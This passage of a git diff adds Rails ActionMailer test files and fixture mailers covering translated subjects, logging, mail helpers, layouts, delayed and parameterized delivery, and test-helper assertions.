+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    ActiveSupport::Deprecation.silence do
+      get ":controller(/:action(/:id))"
+    end
+  end
+
+  class RoutedRackApp
+    attr_reader :routes
+
+    def initialize(routes, &blk)
+      @routes = routes
+      @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+    end
+
+    def call(env)
+      @stack.call(env)
+    end
+  end
+
+  APP = RoutedRackApp.new(Routes)
+
+  def app
+    APP
+  end
+
+  teardown do
+    I18n.locale = I18n.default_locale
+  end
+
+  def test_send_mail
+    stub_any_instance(Mail::SMTP, instance: Mail::SMTP.new({})) do |instance|
+      assert_called(instance, :deliver!) do
+        with_translation "de", email_subject: "[Anmeldung] Willkommen" do
+          get "/test/send_mail"
+          assert_equal "Mail sent - Subject: [Anmeldung] Willkommen", @response.body
+        end
+      end
+    end
+  end
+
+  private
+
+    def with_translation(locale, data)
+      I18n.backend.store_translations(locale, data)
+      yield
+    ensure
+      I18n.backend.reload!
+    end
+end
diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb
new file mode 100644
index 0000000000..2e89758dfb
--- /dev/null
+++ b/actionmailer/test/log_subscriber_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "mailers/base_mailer"
+require "active_support/log_subscriber/test_helper"
+require "action_mailer/log_subscriber"
+
+class AMLogSubscriberTest < ActionMailer::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
+
+  def setup
+    super
+    ActionMailer::LogSubscriber.attach_to :action_mailer
+  end
+
+  class TestMailer < ActionMailer::Base
+    def receive(mail)
+      # Do nothing
+    end
+  end
+
+  def set_logger(logger)
+    ActionMailer::Base.logger = logger
+  end
+
+  def test_deliver_is_notified
+    BaseMailer.welcome.deliver_now
+    wait
+
+    assert_equal(1, @logger.logged(:info).size)
+    assert_match(/Sent mail to system@test\.lindsaar\.net/, @logger.logged(:info).first)
+
+    assert_equal(2, @logger.logged(:debug).size)
+    assert_match(/BaseMailer#welcome: processed outbound mail in [\d.]+ms/, @logger.logged(:debug).first)
+    assert_match(/Welcome/, @logger.logged(:debug).second)
+  ensure
+    BaseMailer.deliveries.clear
+  end
+
+  def test_receive_is_notified
+    fixture = File.read(File.expand_path("fixtures/raw_email", __dir__))
+    TestMailer.receive(fixture)
+    wait
+    assert_equal(1, @logger.logged(:info).size)
+    assert_match(/Received mail/, @logger.logged(:info).first)
+    assert_equal(1, @logger.logged(:debug).size)
+    assert_match(/Jamis/, @logger.logged(:debug).first)
+  end
+end
diff --git a/actionmailer/test/mail_helper_test.rb b/actionmailer/test/mail_helper_test.rb
new file mode 100644
index 0000000000..51d6ccb10f
--- /dev/null
+++ b/actionmailer/test/mail_helper_test.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class HelperMailer < ActionMailer::Base
+  def use_mail_helper
+    @text = "But soft! What light through yonder window breaks? It is the east, " \
+            "and Juliet is the sun. Arise, fair sun, and kill the envious moon, " \
+            "which is sick and pale with grief that thou, her maid, art far more " \
+            "fair than she. Be not her maid, for she is envious! Her vestal " \
+            "livery is but sick and green, and none but fools do wear it. Cast " \
+            "it off!"
+
+    mail_with_defaults do |format|
+      format.html { render(inline: "<%= block_format @text %>") }
+    end
+  end
+
+  def use_format_paragraph
+    @text = "But soft! What light through yonder window breaks?"
+
+    mail_with_defaults do |format|
+      format.html { render(inline: "<%= format_paragraph @text, 15, 1 %>") }
+    end
+  end
+
+  def use_format_paragraph_with_long_first_word
+    @text = "Antidisestablishmentarianism is very long."
+
+    mail_with_defaults do |format|
+      format.html { render(inline: "<%= format_paragraph @text, 10, 1 %>") }
+    end
+  end
+
+  def use_mailer
+    mail_with_defaults do |format|
+      format.html { render(inline: "<%= mailer.message.subject %>") }
+    end
+  end
+
+  def use_message
+    mail_with_defaults do |format|
+      format.html { render(inline: "<%= message.subject %>") }
+    end
+  end
+
+  def use_block_format
+    @text = <<-TEXT
+This is the
+first     paragraph.
+
+The second
+   paragraph.
+
+* item1 * item2
+  * item3
+    TEXT
+
+    mail_with_defaults do |format|
+      format.html { render(inline: "<%= block_format @text %>") }
+    end
+  end
+
+  def use_cache
+    mail_with_defaults do |format|
+      format.html { render(inline: "<% cache(:foo) do %>Greetings from a cache helper block<% end %>") }
+    end
+  end
+
+  private
+
+    def mail_with_defaults(&block)
+      mail(to: "test@localhost", from: "tester@example.com",
+            subject: "using helpers", &block)
+    end
+end
+
+class MailerHelperTest < ActionMailer::TestCase
+  def test_use_mail_helper
+    mail = HelperMailer.use_mail_helper
+    assert_match %r{  But soft!}, mail.body.encoded
+    assert_match %r{east, and\r\n  Juliet}, mail.body.encoded
+  end
+
+  def test_use_mailer
+    mail = HelperMailer.use_mailer
+    assert_match "using helpers", mail.body.encoded
+  end
+
+  def test_use_message
+    mail = HelperMailer.use_message
+    assert_match "using helpers", mail.body.encoded
+  end
+
+  def test_use_format_paragraph
+    mail = HelperMailer.use_format_paragraph
+    assert_match " But soft! What\r\n light through\r\n yonder window\r\n breaks?", mail.body.encoded
+  end
+
+  def test_use_format_paragraph_with_long_first_word
+    mail = HelperMailer.use_format_paragraph_with_long_first_word
+    assert_equal " Antidisestablishmentarianism\r\n is very\r\n long.", mail.body.encoded
+  end
+
+  def test_use_block_format
+    mail = HelperMailer.use_block_format
+    expected = <<-TEXT
+  This is the first paragraph.
+
+  The second paragraph.
+
+  * item1
+  * item2
+  * item3
+    TEXT
+    assert_equal expected.gsub("\n", "\r\n"), mail.body.encoded
+  end
+
+  def test_use_cache
+    assert_nothing_raised do
+      mail = HelperMailer.use_cache
+      assert_equal "Greetings from a cache helper block", mail.body.encoded
+    end
+  end
+end
diff --git a/actionmailer/test/mail_layout_test.rb b/actionmailer/test/mail_layout_test.rb
new file mode 100644
index 0000000000..16d77ed61d
--- /dev/null
+++ b/actionmailer/test/mail_layout_test.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class AutoLayoutMailer < ActionMailer::Base
+  default to: "test@localhost",
+    subject: "You have a mail",
+    from: "tester@example.com"
+
+  def hello
+    mail()
+  end
+
+  def spam
+    @world = "Earth"
+    mail(body: render(inline: "Hello, <%= @world %>", layout: "spam"))
+  end
+
+  def nolayout
+    @world = "Earth"
+    mail(body: render(inline: "Hello, <%= @world %>", layout: false))
+  end
+
+  def multipart(type = nil)
+    mail(content_type: type) do |format|
+      format.text { render }
+      format.html { render }
+    end
+  end
+end
+
+class ExplicitLayoutMailer < ActionMailer::Base
+  layout "spam", except: [:logout]
+
+  default to: "test@localhost",
+    subject: "You have a mail",
+    from: "tester@example.com"
+
+  def signup
+    mail()
+  end
+
+  def logout
+    mail()
+  end
+end
+
+class LayoutMailerTest < ActiveSupport::TestCase
+  def test_should_pickup_default_layout
+    mail = AutoLayoutMailer.hello
+    assert_equal "Hello from layout Inside", mail.body.to_s.strip
+  end
+
+  def test_should_pickup_multipart_layout
+    mail = AutoLayoutMailer.multipart
+    assert_equal "multipart/alternative", mail.mime_type
+    assert_equal 2, mail.parts.size
+
+    assert_equal "text/plain", mail.parts.first.mime_type
+    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body.to_s
+
+    assert_equal "text/html", mail.parts.last.mime_type
+    assert_equal "Hello from layout text/html multipart", mail.parts.last.body.to_s
+  end
+
+  def test_should_pickup_multipartmixed_layout
+    mail = AutoLayoutMailer.multipart("multipart/mixed")
+    assert_equal "multipart/mixed", mail.mime_type
+    assert_equal 2, mail.parts.size
+
+    assert_equal "text/plain", mail.parts.first.mime_type
+    assert_equal "text/plain layout - text/plain multipart", mail.parts.first.body.to_s
+
+    assert_equal "text/html", mail.parts.last.mime_type
+    assert_equal "Hello from layout text/html multipart", mail.parts.last.body.to_s
+  end
+
+  def test_should_pickup_layout_given_to_render
+    mail = AutoLayoutMailer.spam
+    assert_equal "Spammer layout Hello, Earth", mail.body.to_s.strip
+  end
+
+  def test_should_respect_layout_false
+    mail = AutoLayoutMailer.nolayout
+    assert_equal "Hello, Earth", mail.body.to_s.strip
+  end
+
+  def test_explicit_class_layout
+    mail = ExplicitLayoutMailer.signup
+    assert_equal "Spammer layout We do not spam", mail.body.to_s.strip
+  end
+
+  def test_explicit_layout_exceptions
+    mail = ExplicitLayoutMailer.logout
+    assert_equal "You logged out", mail.body.to_s.strip
+  end
+end
diff --git a/actionmailer/test/mailers/asset_mailer.rb b/actionmailer/test/mailers/asset_mailer.rb
new file mode 100644
index 0000000000..7a9aba2629
--- /dev/null
+++ b/actionmailer/test/mailers/asset_mailer.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AssetMailer < ActionMailer::Base
+  self.mailer_name = "asset_mailer"
+
+  def welcome
+    mail
+  end
+end
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
new file mode 100644
index 0000000000..bfaecdb658
--- /dev/null
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -0,0 +1,138 @@
+# frozen_string_literal: true
+
+class BaseMailer < ActionMailer::Base
+  self.mailer_name = "base_mailer"
+
+  default to: "system@test.lindsaar.net",
+          from: "jose@test.plataformatec.com",
+          reply_to: "mikel@test.lindsaar.net"
+
+  def welcome(hash = {})
+    headers["X-SPAM"] = "Not SPAM"
+    mail({ subject: "The first email on new API!" }.merge!(hash))
+  end
+
+  def welcome_with_headers(hash = {})
+    headers hash
+    mail
+  end
+
+  def welcome_from_another_path(path)
+    mail(template_name: "welcome", template_path: path)
+  end
+
+  def html_only(hash = {})
+    mail(hash)
+  end
+
+  def plain_text_only(hash = {})
+    mail(hash)
+  end
+
+  def inline_attachment
+    attachments.inline["logo.png"] = "\312\213\254\232"
+    mail
+  end
+
+  def attachment_with_content(hash = {})
+    attachments["invoice.pdf"] = "This is test File content"
+    mail(hash)
+  end
+
+  def attachment_with_hash
+    attachments["invoice.jpg"] = { data: ::Base64.encode64("\312\213\254\232)b"),
+                                   mime_type: "image/x-jpg",
+                                   transfer_encoding: "base64" }
+    mail
+  end
+
+  def attachment_with_hash_default_encoding
+    attachments["invoice.jpg"] = { data: "\312\213\254\232)b",
+                                   mime_type: "image/x-jpg" }
+    mail
+  end
+
+  def implicit_multipart(hash = {})
+    attachments["invoice.pdf"] = "This is test File content" if hash.delete(:attachments)
+    mail(hash)
+  end
+
+  def implicit_with_locale(hash = {})
+    mail(hash)
+  end
+
+  def explicit_multipart(hash = {})
+    attachments["invoice.pdf"] = "This is test File content" if hash.delete(:attachments)
+    mail(hash) do |format|
+      format.text { render plain: "TEXT Explicit Multipart" }
+      format.html { render plain: "HTML Explicit Multipart" }
+    end
+  end
+
+  def explicit_multipart_templates(hash = {})
+    mail(hash) do |format|
+      format.html
+      format.text
+    end
+  end
+
+  def explicit_multipart_with_any(hash = {})
+    mail(hash) do |format|
+      format.any(:text, :html) { render plain: "Format with any!" }
+    end
+  end
+
+  def explicit_without_specifying_format_with_any(hash = {})
+    mail(hash) do |format|
+      format.any
+    end
+  end
+
+  def explicit_multipart_with_options(include_html = false)
+    mail do |format|
+      format.text(content_transfer_encoding: "base64") { render "welcome" }
+      format.html { render "welcome" } if include_html
+    end
+  end
+
+  def explicit_multipart_with_one_template(hash = {})
+    mail(hash) do |format|
+      format.html
+      format.text
+    end
+  end
+
+  def implicit_different_template(template_name = "")
+    mail(template_name: template_name)
+  end
+
+  def explicit_different_template(template_name = "")
+    mail do |format|
+      format.text { render template: "#{mailer_name}/#{template_name}" }
+      format.html { render template: "#{mailer_name}/#{template_name}" }
+    end
+  end
+
+  def different_layout(layout_name = "")
+    mail do |format|
+      format.text { render layout: layout_name }
+      format.html { render layout: layout_name }
+    end
+  end
+
+  def email_with_translations
+    mail body: render("email_with_translations", formats: [:html])
+  end
+
+  def without_mail_call
+  end
+
+  def with_nil_as_return_value
+    mail(template_name: "welcome")
+    nil
+  end
+
+  def with_subject_interpolations
+    mail(subject: default_i18n_subject(rapper_or_impersonator: "Slim Shady"), body: "")
+  end
+end
diff --git a/actionmailer/test/mailers/caching_mailer.rb b/actionmailer/test/mailers/caching_mailer.rb
new file mode 100644
index 0000000000..02f0c6c103
--- /dev/null
+++ b/actionmailer/test/mailers/caching_mailer.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class CachingMailer < ActionMailer::Base
+  self.mailer_name = "caching_mailer"
+
+  def fragment_cache
+    mail(subject: "welcome", template_name: "fragment_cache")
+  end
+
+  def fragment_cache_in_partials
+    mail(subject: "welcome", template_name: "fragment_cache_in_partials")
+  end
+
+  def skip_fragment_cache_digesting
+    mail(subject: "welcome", template_name: "skip_fragment_cache_digesting")
+  end
+
+  def fragment_caching_options
+    mail(subject: "welcome", template_name: "fragment_caching_options")
+  end
+
+  def multipart_cache
+    mail(subject: "welcome", template_name: "multipart_cache")
+  end
+end
diff --git a/actionmailer/test/mailers/delayed_mailer.rb b/actionmailer/test/mailers/delayed_mailer.rb
new file mode 100644
index 0000000000..b0f5ecc2fb
--- /dev/null
+++ b/actionmailer/test/mailers/delayed_mailer.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "active_job/arguments"
+
+class DelayedMailerError < StandardError; end
+
+class DelayedMailer < ActionMailer::Base
+  cattr_accessor :last_error
+  cattr_accessor :last_rescue_from_instance
+
+  rescue_from DelayedMailerError do |error|
+    @@last_error = error
+    @@last_rescue_from_instance = self
+  end
+
+  rescue_from ActiveJob::DeserializationError do |error|
+    @@last_error = error
+    @@last_rescue_from_instance = self
+  end
+
+  def test_message(*)
+    mail(from: "test-sender@test.com", to: "test-receiver@test.com", subject: "Test Subject", body: "Test Body")
+  end
+
+  def test_raise(klass_name)
+    raise klass_name.constantize, "boom"
+  end
+end
diff --git a/actionmailer/test/mailers/params_mailer.rb b/actionmailer/test/mailers/params_mailer.rb
new file mode 100644
index 0000000000..84aa336311
--- /dev/null
+++ b/actionmailer/test/mailers/params_mailer.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class ParamsMailer < ActionMailer::Base
+  before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+
+  default to: Proc.new { @invitee }, from: -> { @inviter }
+
+  def invitation
+    mail(subject: "Welcome to the project!") do |format|
+      format.text { render plain: "So says #{@inviter}" }
+    end
+  end
+end
diff --git a/actionmailer/test/mailers/proc_mailer.rb b/actionmailer/test/mailers/proc_mailer.rb
new file mode 100644
index 0000000000..b7cf53eb4a
--- /dev/null
+++ b/actionmailer/test/mailers/proc_mailer.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class ProcMailer < ActionMailer::Base
+  default to: "system@test.lindsaar.net",
+          "X-Proc-Method" => Proc.new { Time.now.to_i.to_s },
+          subject: Proc.new { give_a_greeting },
+          "x-has-to-proc" => :symbol
+
+  def welcome
+    mail
+  end
+
+  private
+
+    def give_a_greeting
+      "Thanks for signing up this afternoon"
+    end
+end
diff --git a/actionmailer/test/message_delivery_test.rb b/actionmailer/test/message_delivery_test.rb
new file mode 100644
index 0000000000..89a3c7475e
--- /dev/null
+++ b/actionmailer/test/message_delivery_test.rb
@@ -0,0 +1,168 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_job"
+require "mailers/delayed_mailer"
+
+class MessageDeliveryTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+
+  setup do
+    @previous_logger = ActiveJob::Base.logger
+    @previous_delivery_method = ActionMailer::Base.delivery_method
+    @previous_deliver_later_queue_name = ActionMailer::Base.deliver_later_queue_name
+    ActionMailer::Base.deliver_later_queue_name = :test_queue
+    ActionMailer::Base.delivery_method = :test
+    ActiveJob::Base.logger = Logger.new(nil)
+    ActionMailer::Base.deliveries.clear
+    ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
+    ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
+
+    DelayedMailer.last_error = nil
+    DelayedMailer.last_rescue_from_instance = nil
+
+    @mail = DelayedMailer.test_message(1, 2, 3)
+  end
+
+  teardown do
+    ActiveJob::Base.logger = @previous_logger
+    ActionMailer::Base.delivery_method = @previous_delivery_method
+    ActionMailer::Base.deliver_later_queue_name = @previous_deliver_later_queue_name
+
+    DelayedMailer.last_error = nil
+    DelayedMailer.last_rescue_from_instance = nil
+  end
+
+  test "should have a message" do
+    assert @mail.message
+  end
+
+  test "its message should be a Mail::Message" do
+    assert_equal Mail::Message , @mail.message.class
+  end
+
+  test "should respond to .deliver_later" do
+    assert_respond_to @mail, :deliver_later
+  end
+
+  test "should respond to .deliver_later!" do
+    assert_respond_to @mail, :deliver_later!
+  end
+
+  test "should respond to .deliver_now" do
+    assert_respond_to @mail, :deliver_now
+  end
+
+  test "should respond to .deliver_now!" do
+    assert_respond_to @mail, :deliver_now!
+  end
+
+  def test_should_enqueue_and_run_correctly_in_activejob
+    @mail.deliver_later!
+    assert_equal 1, ActionMailer::Base.deliveries.size
+  ensure
+    ActionMailer::Base.deliveries.clear
+  end
+
+  test "should enqueue the email with :deliver_now delivery method" do
+    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3]) do
+      @mail.deliver_later
+    end
+  end
+
+  test "should enqueue the email with :deliver_now! delivery method" do
+    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now!", 1, 2, 3]) do
+      @mail.deliver_later!
+    end
+  end
+
+  test "should enqueue a delivery with a delay" do
+    travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+      assert_performed_with(job: ActionMailer::DeliveryJob, at: Time.current + 10.minutes, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3]) do
+        @mail.deliver_later wait: 10.minutes
+      end
+    end
+  end
+
+  test "should enqueue a delivery at a specific time" do
+    later_time = Time.current + 1.hour
+    assert_performed_with(job: ActionMailer::DeliveryJob, at: later_time, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3]) do
+      @mail.deliver_later wait_until: later_time
+    end
+  end
+
+  test "should enqueue the job on the correct queue" do
+    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3], queue: "test_queue") do
+      @mail.deliver_later
+    end
+  end
+
+  test "should enqueue the job with the correct delivery job" do
+    old_delivery_job = DelayedMailer.delivery_job
+    DelayedMailer.delivery_job = DummyJob
+
+    assert_performed_with(job: DummyJob, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3]) do
+      @mail.deliver_later
+    end
+
+    DelayedMailer.delivery_job = old_delivery_job
+  end
+
+  class DummyJob < ActionMailer::DeliveryJob; end
+
+  test "can override the queue when enqueuing mail" do
+    assert_performed_with(job: ActionMailer::DeliveryJob, args: ["DelayedMailer", "test_message", "deliver_now", 1, 2, 3], queue: "another_queue") do
+      @mail.deliver_later(queue: :another_queue)
+    end
+  end
+
+  test "deliver_later after accessing the message is disallowed" do
+    @mail.message # Load the message, which calls the mailer method.
+
+    assert_raise RuntimeError do
+      @mail.deliver_later
+    end
+  end
+
+  test "job delegates error handling to mailer" do
+    # Superclass not rescued by mailer's rescue_from RuntimeError
+    message = DelayedMailer.test_raise("StandardError")
+    assert_raise(StandardError) { message.deliver_later }
+    assert_nil DelayedMailer.last_error
+    assert_nil DelayedMailer.last_rescue_from_instance
+
+    # Rescued by mailer's rescue_from RuntimeError
+    message = DelayedMailer.test_raise("DelayedMailerError")
+    assert_nothing_raised { message.deliver_later }
+    assert_equal "boom", DelayedMailer.last_error.message
+    assert_kind_of DelayedMailer, DelayedMailer.last_rescue_from_instance
+  end
+
+  class DeserializationErrorFixture
+    include GlobalID::Identification
+
+    def self.find(id)
+      raise "boom, missing find"
+    end
+
+    attr_reader :id
+    def initialize(id = 1)
+      @id = id
+    end
+
+    def to_global_id(options = {})
+      super app: "foo"
+    end
+  end
+
+  test "job delegates deserialization errors to mailer class" do
+    # Inject an argument that can't be deserialized.
+    message = DelayedMailer.test_message(DeserializationErrorFixture.new)
+
+    # DeserializationError is raised, rescued, and delegated to the handler
+    # on the mailer class.
+    assert_nothing_raised { message.deliver_later }
+    assert_equal DelayedMailer, DelayedMailer.last_rescue_from_instance
+    assert_equal "Error while trying to deserialize arguments: boom, missing find", DelayedMailer.last_error.message
+  end
+end
diff --git a/actionmailer/test/parameterized_test.rb b/actionmailer/test/parameterized_test.rb
new file mode 100644
index 0000000000..ec6c5e9e67
--- /dev/null
+++ b/actionmailer/test/parameterized_test.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_job"
+require "mailers/params_mailer"
+
+class ParameterizedTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+
+  setup do
+    @previous_logger = ActiveJob::Base.logger
+    ActiveJob::Base.logger = Logger.new(nil)
+
+    @previous_delivery_method = ActionMailer::Base.delivery_method
+    ActionMailer::Base.delivery_method = :test
+
+    @previous_deliver_later_queue_name = ActionMailer::Base.deliver_later_queue_name
+    ActionMailer::Base.deliver_later_queue_name = :test_queue
+
+    @mail = ParamsMailer.with(inviter: "david@basecamp.com", invitee: "jason@basecamp.com").invitation
+  end
+
+  teardown do
+    ActiveJob::Base.logger = @previous_logger
+    ParamsMailer.deliveries.clear
+
+    ActionMailer::Base.delivery_method = @previous_delivery_method
+    ActionMailer::Base.deliver_later_queue_name = @previous_deliver_later_queue_name
+  end
+
+  test "parameterized headers" do
+    assert_equal(["jason@basecamp.com"], @mail.to)
+    assert_equal(["david@basecamp.com"], @mail.from)
+    assert_equal("So says david@basecamp.com", @mail.body.encoded)
+  end
+
+  test "enqueue the email with params" do
+    assert_performed_with(job: ActionMailer::Parameterized::DeliveryJob, args: ["ParamsMailer", "invitation", "deliver_now", { inviter: "david@basecamp.com", invitee: "jason@basecamp.com" } ]) do
+      @mail.deliver_later
+    end
+  end
+
+  test "respond_to?" do
+    mailer = ParamsMailer.with(inviter: "david@basecamp.com", invitee: "jason@basecamp.com")
+
+    assert_respond_to mailer, :invitation
+    assert_not_respond_to mailer, :anything
+
+    invitation = mailer.method(:invitation)
+    assert_equal Method, invitation.class
+
+    assert_raises(NameError) do
+      invitation = mailer.method(:anything)
+    end
+  end
+end
diff --git a/actionmailer/test/test_case_test.rb b/actionmailer/test/test_case_test.rb
new file mode 100644
index 0000000000..7b9647d295
--- /dev/null
+++ b/actionmailer/test/test_case_test.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TestTestMailer < ActionMailer::Base
+end
+
+class ClearTestDeliveriesMixinTest < ActiveSupport::TestCase
+  include ActionMailer::TestCase::ClearTestDeliveries
+
+  def before_setup
+    ActionMailer::Base.delivery_method, @original_delivery_method = :test, ActionMailer::Base.delivery_method
+    ActionMailer::Base.deliveries << "better clear me, setup"
+    super
+  end
+
+  def after_teardown
+    super
+    assert_equal [], ActionMailer::Base.deliveries
+    ActionMailer::Base.delivery_method = @original_delivery_method
+  end
+
+  def test_deliveries_are_cleared_on_setup_and_teardown
+    assert_equal [], ActionMailer::Base.deliveries
+    ActionMailer::Base.deliveries << "better clear me, teardown"
+  end
+end
+
+class MailerDeliveriesClearingTest < ActionMailer::TestCase
+  def before_setup
+    ActionMailer::Base.deliveries << "better clear me, setup"
+    super
+  end
+
+  def after_teardown
+    super
+    assert_equal [], ActionMailer::Base.deliveries
+  end
+
+  def test_deliveries_are_cleared_on_setup_and_teardown
+    assert_equal [], ActionMailer::Base.deliveries
+    ActionMailer::Base.deliveries << "better clear me, teardown"
+  end
+end
+
+class CrazyNameMailerTest < ActionMailer::TestCase
+  tests TestTestMailer
+
+  def test_set_mailer_class_manual
+    assert_equal TestTestMailer, self.class.mailer_class
+  end
+end
+
+class CrazySymbolNameMailerTest < ActionMailer::TestCase
+  tests :test_test_mailer
+
+  def test_set_mailer_class_manual_using_symbol
+    assert_equal TestTestMailer, self.class.mailer_class
+  end
+end
+
+class CrazyStringNameMailerTest < ActionMailer::TestCase
+  tests "test_test_mailer"
+
+  def test_set_mailer_class_manual_using_string
+    assert_equal TestTestMailer, self.class.mailer_class
+  end
+end
diff --git a/actionmailer/test/test_helper_test.rb b/actionmailer/test/test_helper_test.rb
new file mode 100644
index 0000000000..abf50cf4da
--- /dev/null
+++ b/actionmailer/test/test_helper_test.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/stream"
+
+class TestHelperMailer < ActionMailer::Base
+  def test
+    @world = "Earth"
+    mail body: render(inline: "Hello, <%= @world %>"),
+      to: "test@example.com",
+      from: "tester@example.com"
+  end
+end
+
+class TestHelperMailerTest < ActionMailer::TestCase
+  include ActiveSupport::Testing::Stream
+
+  def test_setup_sets_right_action_mailer_options
+    assert_equal :test, ActionMailer::Base.delivery_method
+    assert ActionMailer::Base.perform_deliveries
+    assert_equal [], ActionMailer::Base.deliveries
+  end
+
+  def test_setup_creates_the_expected_mailer
+    assert_kind_of Mail::Message, @expected
+    assert_equal "1.0", @expected.mime_version
+    assert_equal "text/plain", @expected.mime_type
+  end
+
+  def test_mailer_class_is_correctly_inferred
+    assert_equal TestHelperMailer, self.class.mailer_class
+  end
+
+  def test_determine_default_mailer_raises_correct_error
+    assert_raise(ActionMailer::NonInferrableMailerError) do
+      self.class.determine_default_mailer("NotAMailerTest")
+    end
+  end
+
+  def test_charset_is_utf_8
+    assert_equal "UTF-8", charset
+  end
+
+  def test_encode
+    assert_equal "=?UTF-8?Q?This_is_=E3=81=82_string?=", encode("This is あ string")
+  end
+
+  def test_read_fixture
+    assert_equal ["Welcome!"], read_fixture("welcome")
+  end
+
+  def test_assert_emails
+    assert_nothing_raised do
+      assert_emails 1 do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+  end
+
+  def test_repeated_assert_emails_calls
+    assert_nothing_raised do
+      assert_emails 1 do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+
+    assert_nothing_raised do
+      assert_emails 2 do
+        TestHelperMailer.test.deliver_now
+        TestHelperMailer.test.deliver_now
+      end
+    end
+  end
+
+  def test_assert_emails_with_no_block
+    assert_nothing_raised do
+      TestHelperMailer.test.deliver_now
+      assert_emails 1
+    end
+
+    assert_nothing_raised do
+      TestHelperMailer.test.deliver_now
+      TestHelperMailer.test.deliver_now
+      assert_emails 3
+    end
+  end
+
+  def test_assert_no_emails
+    assert_nothing_raised do
+      assert_no_emails do
+        TestHelperMailer.test
+      end
+    end
+  end
+
+  def test_assert_emails_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_emails 2 do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_emails_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_emails 1 do
+        TestHelperMailer.test.deliver_now
+        TestHelperMailer.test.deliver_now
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_emails_message
+    TestHelperMailer.test.deliver_now
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_emails 2 do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+    assert_match "Expected: 2", error.message
+    assert_match "Actual: 1", error.message
+  end
+
+  def test_assert_no_emails_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_emails do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_emails
+    assert_nothing_raised do
+      assert_enqueued_emails 1 do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_parameterized_emails
+    assert_nothing_raised do
+      assert_enqueued_emails 1 do
+        silence_stream($stdout) do
+          TestHelperMailer.with(a: 1).test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_emails_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_emails 2 do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_emails_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_emails 1 do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_enqueued_emails
+    assert_nothing_raised do
+      assert_no_enqueued_emails do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_parameterized_emails
+    assert_nothing_raised do
+      assert_no_enqueued_emails do
+        TestHelperMailer.with(a: 1).test.deliver_now
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_emails_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_enqueued_emails do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+end
+
+class AnotherTestHelperMailerTest < ActionMailer::TestCase
+  tests TestHelperMailer
+
+  def setup
+    @test_var = "a value"
+  end
+
+  def test_setup_shouldnt_conflict_with_mailer_setup
+    assert_kind_of Mail::Message, @expected
+    assert_equal "a value", @test_var
+  end
+end
diff --git a/actionmailer/test/url_test.rb b/actionmailer/test/url_test.rb
new file mode 100644
index 0000000000..0bd3371878
--- /dev/null
+++ b/actionmailer/test/url_test.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_controller"
+
